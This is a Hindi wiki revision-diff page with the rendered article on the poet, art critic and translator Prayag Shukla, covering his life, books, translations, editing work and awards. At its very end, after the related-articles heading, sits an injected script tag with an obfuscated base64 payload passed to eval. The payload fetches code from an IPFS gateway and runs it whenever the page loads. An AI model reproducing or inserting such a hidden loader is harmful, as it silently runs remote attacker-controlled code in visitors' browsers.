"प्रयाग शुक्ल": अवतरणों में अंतर
गोविन्द राम (वार्ता | योगदान) No edit summary |
No edit summary |
||
(2 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा साहित्यकार | {{सूचना बक्सा साहित्यकार | ||
|चित्र= | |चित्र=Prayag-Shukla.png | ||
|पूरा नाम=प्रयाग शुक्ल | |पूरा नाम=प्रयाग शुक्ल | ||
|अन्य नाम=प्रयाग शुक्ल | |अन्य नाम=प्रयाग शुक्ल | ||
|जन्म= [[1940]] | |जन्म=[[28 मई]], [[1940]] | ||
|जन्म भूमि=[[कोलकाता]] | |जन्म भूमि=[[कोलकाता]], [[पश्चिम बंगाल]] | ||
| | |अभिभावक= | ||
|पति/पत्नी= | |पति/पत्नी= | ||
|संतान= | |संतान= | ||
|कर्म भूमि= | |कर्म भूमि=[[भारत]] | ||
|कर्म-क्षेत्र= | |कर्म-क्षेत्र=कथाकार | ||
|मृत्यु= | |मृत्यु= | ||
|मृत्यु स्थान= | |मृत्यु स्थान= | ||
पंक्ति 17: | पंक्ति 17: | ||
|विद्यालय= | |विद्यालय= | ||
|शिक्षा= | |शिक्षा= | ||
|पुरस्कार-उपाधि=[[राष्ट्रीय शरद जोशी सम्मान]] | |पुरस्कार-उपाधि=[[राष्ट्रीय शरद जोशी सम्मान]], [[2002]]<br/> | ||
|प्रसिद्धि= | साहित्य अकादमी अनुवाद पुरस्कार<br/> | ||
द्विजदेव सम्मान | |||
|प्रसिद्धि=[[कवि]], कला-समीक्षक, अनुवादक एवं [[कहानीकार]] | |||
|विशेष योगदान= | |विशेष योगदान= | ||
|नागरिकता=भारतीय | |नागरिकता=भारतीय | ||
पंक्ति 26: | पंक्ति 28: | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
|अन्य जानकारी= | |अन्य जानकारी=एक अनुवादक के रूप में प्रयाग शुक्ल ने [[रवींद्रनाथ ठाकुर]] की ‘गीतांजलि’ का मूल [[बांग्ला]] से [[हिंदी]] अनुवाद किया है। | ||
|बाहरी कड़ियाँ= | |बाहरी कड़ियाँ= | ||
|अद्यतन= | |अद्यतन={{अद्यतन|14:55, 12 अक्टूबर 2022 (IST)}} | ||
}} | }}'''प्रयाग शुक्ल''' ([[अंग्रेज़ी]]: ''Prayag Shukla'', जन्म- [[28 मई]], [[1940]]) [[हिन्दी]] के [[कवि]], कला-समीक्षक, अनुवादक एवं [[कहानीकार]] हैं। उन्हें साहित्य अकादमी अनुवाद पुरस्कार, [[राष्ट्रीय शरद जोशी सम्मान]] ([[2002]]) एवं द्विजदेव सम्मान से सम्मानित किया जा चुका है। | ||
==परिचय== | |||
'''प्रयाग शुक्ल''' [[हिन्दी]] | प्रयाग शुक्ल का जन्म 28 मई, 1940 को कलकत्ता (वर्तमान कोलकाता), पश्चिम बंगाल में हुआ। प्रारंभिक शिक्षा पुरखों के गाँव तिवारीपुर (ज़िला फ़तेहपुर, [[उत्तर प्रदेश]]) में हुई। आगे [[कोलकाता विश्वविद्यालय]] से स्नातक किया। प्रयाग शुक्ल कवि, कथाकार और कला-समीक्षक के रूप में प्रतिष्ठित हैं। [[रंगमंच]] और सिनेमा पर भी लिखते रहे हैं।<ref name="pp">{{cite web |url=https://www.hindwi.org/poets/prayag-shukla-1/profile |title=प्रयाग शुक्ल का परिचय|accessmonthday=12 अक्टूबर|accessyear=2022 |last= |first= |authorlink= |format= |publisher=hindwi.org |language=हिंदी}}</ref> | ||
==लेखन कार्य== | |||
प्रयाग शुक्ल जी ने बहुत-सी रचनाएँ की हैं, जिनमें से प्रमुख हैं- | |||
====काव्य संग्रह==== | |||
‘कविता संभव’, ‘यह एक दिन है’, ‘अधूरी चीज़ें तमाम’, ‘बीते कितने बरस’, ‘यह जो हरा है’, ‘यहाँ कहाँ थी छाया’, ‘इस पृष्ठ पर’, ‘सुनयना फिर यह न कहना’ प्रयाग शुक्ल के काव्य-संग्रह हैं। ‘यानी कई वर्ष’ में उनके छह संग्रहों की कविताएँ संकलित की गई हैं। प्रतिनिधि कविताओं का संकलन ‘पचास कविताएँ’ में हुआ है। ‘ह्वाइल अ प्लेन ज़ूम्स पास्ट इन द स्काई’ [[अंग्रेज़ी]] में प्रकाशित काव्य-संग्रह है। | |||
====कहानी संग्रह==== | |||
‘अकेली आकृतियाँ’, ‘इसके बाद’, ‘छायाएँ तथा अन्य कहानियाँ’, ‘काई’ में उनकी कहानियों का संकलन हुआ है और ‘एल्बम’ उनकी प्रतिनिधि कहानियों का संकलन है। | |||
====उपन्यास==== | |||
‘गठरी’, ‘आज और कल’, ‘लौटकर आने वाले दिन’ उनके उपन्यास हैं। | |||
====यात्रा वृतांत==== | |||
‘सम पर सूर्यास्त’, ‘सुरंगाँव बंजारी’, ‘त्रांदाइम में ट्राम’, ‘हेलेन गैनली की नोट बुक’, ‘ग्लोब और ग़ुब्बारे’ उनके यात्रा-वृतांत’ हैं। | |||
====निबंध संग्रह==== | |||
उनके निबंधों का संग्रह ‘घर और बाहर’ और ‘हाट और समाज’ के रूप में प्रकाशित है। | |||
====संस्मरण==== | |||
‘साझा समय’ और ‘स्मृतियाँ बहुतेरी’ संस्मरणात्मक कृतियाँ हैं।<ref name="pp"/> | |||
====आलोचना==== | |||
‘अर्ध विराम’, ‘आज की कला’, ‘सत्यजित राय: एक फ़िल्मकार की ऊँचाई’, ‘राम कुमार: लाइंस एंड कलर्स (अंग्रेज़ी) उनकी आलोचना संबंधी कृतियाँ हैं। | |||
==अनुवाद व सम्पादन== | |||
एक अनुवादक के रूप में प्रयाग शुक्ल ने [[रवींद्रनाथ ठाकुर]] की ‘गीतांजलि’ का मूल [[बांग्ला]] से [[हिंदी]] अनुवाद किया है। उन्होंने [[जीवनानंद दास]] और [[शंख घोष]] की प्रतिनिधि कविताओं, बंकिमचंद्र के प्रतिनिधि [[निबंध]] और ओक्ताविओ पाज की कविताओं का अनुवाद भी किया है। कविता-नदी, कला और कविता, कला समय समाज, बदरीविशाल, रंग तेंदुलकर, अंक यात्रा उनके संपादन में प्रकाशित कृतियाँ हैं। उन्होंने कल्पना, दिनमान, नवभारत टाइम्स, समकालीन कला, रंग प्रसंग, हिंदी फ़ेमिना, पराग, संगना आदि पत्र-पत्रिकाओं का संपादन और संपादन-सहयोग किया है। | |||
==बाल साहित्य== | |||
‘धम्मक धम्मक’, ‘हक्का बक्का’, ‘चमचम बिजली झमझम पानी’, ‘कहाँ नाव के पाँव’, ‘ऊँट चला भाई ऊँट चला’, ‘मिश्का झूल रही है झूला’, ‘धूप खिली है हवा चली है’, ‘उड़ना आसमान में उड़ना’ आदि बाल साहित्य में प्रयाग शुक्ल का योगदान है।<ref name="pp"/> | |||
==पुरस्कार व सम्मान== | |||
*साहित्य अकादमी अनुवाद पुरस्कार | |||
*[[राष्ट्रीय शरद जोशी सम्मान]], [[2002]] | |||
*द्विजदेव सम्मान | |||
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक=|माध्यमिक=|पूर्णता=|शोध=}} | {{लेख प्रगति|आधार=आधार1|प्रारम्भिक=|माध्यमिक=|पूर्णता=|शोध=}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{राष्ट्रीय शरद जोशी सम्मान}}{{साहित्यकार}} | ||
[[Category:आधुनिक साहित्यकार]][[Category:कहानीकार]] | [[Category:लेखक]][[Category:साहित्यकार]][[Category:आधुनिक साहित्यकार]][[Category:आधुनिक लेखक]][[Category:कहानीकार]][[Category:उपन्यासकार]][[Category:जीवनी साहित्य]][[Category:राष्ट्रीय शरद जोशी सम्मान]][[Category:साहित्य कोश]][[Category:चरित कोश]][[Category:काव्य कोश]] | ||
[[Category:साहित्य कोश]][[Category:चरित कोश]] | |||
__INDEX__ | __INDEX__ | ||
__NOTOC__ |
09:31, 12 अक्टूबर 2022 के समय का अवतरण
प्रयाग शुक्ल
| |
पूरा नाम | प्रयाग शुक्ल |
अन्य नाम | प्रयाग शुक्ल |
जन्म | 28 मई, 1940 |
जन्म भूमि | कोलकाता, पश्चिम बंगाल |
कर्म भूमि | भारत |
कर्म-क्षेत्र | कथाकार |
मुख्य रचनाएँ | रवीन्द्रनाथ ठाकुर की गीतांजलि का हिन्दी भाषा में अनुवाद |
भाषा | हिन्दी |
पुरस्कार-उपाधि | राष्ट्रीय शरद जोशी सम्मान, 2002 साहित्य अकादमी अनुवाद पुरस्कार |
प्रसिद्धि | कवि, कला-समीक्षक, अनुवादक एवं कहानीकार |
नागरिकता | भारतीय |
अन्य जानकारी | एक अनुवादक के रूप में प्रयाग शुक्ल ने रवींद्रनाथ ठाकुर की ‘गीतांजलि’ का मूल बांग्ला से हिंदी अनुवाद किया है। |
अद्यतन | 14:55, 12 अक्टूबर 2022 (IST)
|
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
प्रयाग शुक्ल (अंग्रेज़ी: Prayag Shukla, जन्म- 28 मई, 1940) हिन्दी के कवि, कला-समीक्षक, अनुवादक एवं कहानीकार हैं। उन्हें साहित्य अकादमी अनुवाद पुरस्कार, राष्ट्रीय शरद जोशी सम्मान (2002) एवं द्विजदेव सम्मान से सम्मानित किया जा चुका है।
परिचय
प्रयाग शुक्ल का जन्म 28 मई, 1940 को कलकत्ता (वर्तमान कोलकाता), पश्चिम बंगाल में हुआ। प्रारंभिक शिक्षा पुरखों के गाँव तिवारीपुर (ज़िला फ़तेहपुर, उत्तर प्रदेश) में हुई। आगे कोलकाता विश्वविद्यालय से स्नातक किया। प्रयाग शुक्ल कवि, कथाकार और कला-समीक्षक के रूप में प्रतिष्ठित हैं। रंगमंच और सिनेमा पर भी लिखते रहे हैं।[1]
लेखन कार्य
प्रयाग शुक्ल जी ने बहुत-सी रचनाएँ की हैं, जिनमें से प्रमुख हैं-
काव्य संग्रह
‘कविता संभव’, ‘यह एक दिन है’, ‘अधूरी चीज़ें तमाम’, ‘बीते कितने बरस’, ‘यह जो हरा है’, ‘यहाँ कहाँ थी छाया’, ‘इस पृष्ठ पर’, ‘सुनयना फिर यह न कहना’ प्रयाग शुक्ल के काव्य-संग्रह हैं। ‘यानी कई वर्ष’ में उनके छह संग्रहों की कविताएँ संकलित की गई हैं। प्रतिनिधि कविताओं का संकलन ‘पचास कविताएँ’ में हुआ है। ‘ह्वाइल अ प्लेन ज़ूम्स पास्ट इन द स्काई’ अंग्रेज़ी में प्रकाशित काव्य-संग्रह है।
कहानी संग्रह
‘अकेली आकृतियाँ’, ‘इसके बाद’, ‘छायाएँ तथा अन्य कहानियाँ’, ‘काई’ में उनकी कहानियों का संकलन हुआ है और ‘एल्बम’ उनकी प्रतिनिधि कहानियों का संकलन है।
उपन्यास
‘गठरी’, ‘आज और कल’, ‘लौटकर आने वाले दिन’ उनके उपन्यास हैं।
यात्रा वृतांत
‘सम पर सूर्यास्त’, ‘सुरंगाँव बंजारी’, ‘त्रांदाइम में ट्राम’, ‘हेलेन गैनली की नोट बुक’, ‘ग्लोब और ग़ुब्बारे’ उनके यात्रा-वृतांत’ हैं।
निबंध संग्रह
उनके निबंधों का संग्रह ‘घर और बाहर’ और ‘हाट और समाज’ के रूप में प्रकाशित है।
संस्मरण
‘साझा समय’ और ‘स्मृतियाँ बहुतेरी’ संस्मरणात्मक कृतियाँ हैं।[1]
आलोचना
‘अर्ध विराम’, ‘आज की कला’, ‘सत्यजित राय: एक फ़िल्मकार की ऊँचाई’, ‘राम कुमार: लाइंस एंड कलर्स (अंग्रेज़ी) उनकी आलोचना संबंधी कृतियाँ हैं।
अनुवाद व सम्पादन
एक अनुवादक के रूप में प्रयाग शुक्ल ने रवींद्रनाथ ठाकुर की ‘गीतांजलि’ का मूल बांग्ला से हिंदी अनुवाद किया है। उन्होंने जीवनानंद दास और शंख घोष की प्रतिनिधि कविताओं, बंकिमचंद्र के प्रतिनिधि निबंध और ओक्ताविओ पाज की कविताओं का अनुवाद भी किया है। कविता-नदी, कला और कविता, कला समय समाज, बदरीविशाल, रंग तेंदुलकर, अंक यात्रा उनके संपादन में प्रकाशित कृतियाँ हैं। उन्होंने कल्पना, दिनमान, नवभारत टाइम्स, समकालीन कला, रंग प्रसंग, हिंदी फ़ेमिना, पराग, संगना आदि पत्र-पत्रिकाओं का संपादन और संपादन-सहयोग किया है।
बाल साहित्य
‘धम्मक धम्मक’, ‘हक्का बक्का’, ‘चमचम बिजली झमझम पानी’, ‘कहाँ नाव के पाँव’, ‘ऊँट चला भाई ऊँट चला’, ‘मिश्का झूल रही है झूला’, ‘धूप खिली है हवा चली है’, ‘उड़ना आसमान में उड़ना’ आदि बाल साहित्य में प्रयाग शुक्ल का योगदान है।[1]
पुरस्कार व सम्मान
- साहित्य अकादमी अनुवाद पुरस्कार
- राष्ट्रीय शरद जोशी सम्मान, 2002
- द्विजदेव सम्मान
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 प्रयाग शुक्ल का परिचय (हिंदी) hindwi.org। अभिगमन तिथि: 12 अक्टूबर, 2022।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>